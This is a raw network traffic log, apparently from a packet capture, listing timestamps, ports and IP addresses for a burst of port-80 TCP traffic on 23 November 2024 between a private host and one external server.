Nov 23, 2024 17:44:38.591259003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.591274977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.682351112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:38.802114964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.128833055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.128910065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.128926039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.128951073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.128951073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.128997087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.129062891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.129062891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.129204988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.129249096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.129256964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.129262924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.129307032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.129307032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.129389048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.129440069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.130116940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.130182028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.130232096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.130279064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.253771067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.253854990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.253985882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254049063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.254147053 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254160881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254201889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.254239082 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.254257917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254275084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254287004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254298925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.254312038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.254333019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.254369974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.255042076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.255100012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.255120039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.255131006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.255162001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.255172014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.255202055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.255992889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256046057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256050110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.256062984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256098986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.256098986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.256153107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256206989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.256894112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256948948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.256956100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.256969929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257008076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257008076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257061005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257107973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257783890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257808924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257821083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257846117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257846117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257879019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.257888079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.257930994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378060102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378082991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378118992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378130913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378269911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378269911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378496885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378541946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378556967 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378587961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378865004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378891945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378901958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.378914118 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378951073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.378951073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.379409075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.379462957 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.379475117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.379486084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.379503965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.379503965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.379540920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.379540920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.380302906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.380359888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.380366087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.380378008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.380412102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.380435944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.380445957 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.380490065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.381242990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.381304979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.381309032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.381326914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.381361961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.381361961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.381402969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.381447077 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.382138968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.382194996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.382203102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.382217884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.382235050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.382250071 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.382283926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.382283926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.383074999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.383135080 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.383135080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.383152962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.383183002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.383214951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.383227110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.383274078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.383987904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384035110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384042025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384047031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384082079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384114027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384150982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384191990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384891987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384936094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384941101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384948969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.384987116 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.384987116 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.385027885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.385077000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.385843992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.385869980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.385879993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.385907888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.385909081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.385941029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.385950089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.385993004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.386857986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.386903048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.386914968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.386914968 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.386944056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.386974096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.386997938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.387042999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.387636900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.387690067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.503778934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.503869057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.503885031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.503997087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504000902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.503997087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.503997087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504044056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504057884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504067898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504072905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504096985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504136086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504673958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504723072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504729986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504743099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504784107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504784107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.504878998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.504924059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.505433083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.505459070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.505470991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.505481005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.505516052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.505516052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.505564928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.505609035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.506333113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.506377935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.506377935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.506390095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.506426096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.506426096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.506479025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.506522894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.507292032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.507342100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.507399082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.507411003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.507450104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.507467985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.507514000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.508182049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.508229017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.508230925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.508244038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.508280039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.508280039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.508332014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.508378029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.509114027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.509159088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.509171009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.509181976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.509284019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.510037899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510103941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.510122061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510133982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510169029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.510231972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510283947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.510936022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510986090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.510989904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.510998011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511034966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511034966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511086941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511126995 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511846066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511869907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511881113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511907101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511907101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511912107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.511929035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.511959076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.512762070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.512811899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.512813091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.512824059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.512862921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.512862921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.512936115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.512985945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.513664007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.513698101 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.513709068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.513714075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.513745070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.513745070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.513816118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.513860941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.514585018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.514631033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.514637947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.514642954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.514686108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.514687061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.514735937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.514780045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.515522003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.515572071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.515574932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.515583992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.515624046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.515624046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.515655994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.515701056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.516544104 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.516555071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.516571999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.516582012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.516597986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.516629934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.517349005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.517390966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.517399073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.517401934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.517442942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.517486095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.517527103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.518259048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.518322945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.518352985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.518402100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.582482100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582495928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582505941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582516909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582529068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582540989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582551956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582562923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582572937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582587004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582653999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582665920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582675934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582688093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582729101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.582730055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.582772970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.582773924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.582838058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.583614111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.583672047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.583837032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.583848953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.583858013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.583887100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.583919048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.584671021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.584682941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.584693909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.584726095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.584758997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.584795952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.584837914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.628679037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.628703117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.628715992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.628740072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.628767014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.628808975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.629086971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.629137039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.629160881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.629172087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.629184961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.629205942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.629240036 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.629952908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.630002975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.630008936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.630016088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.630048037 CET	49745	80	192.168.2.4	185.215.113.206
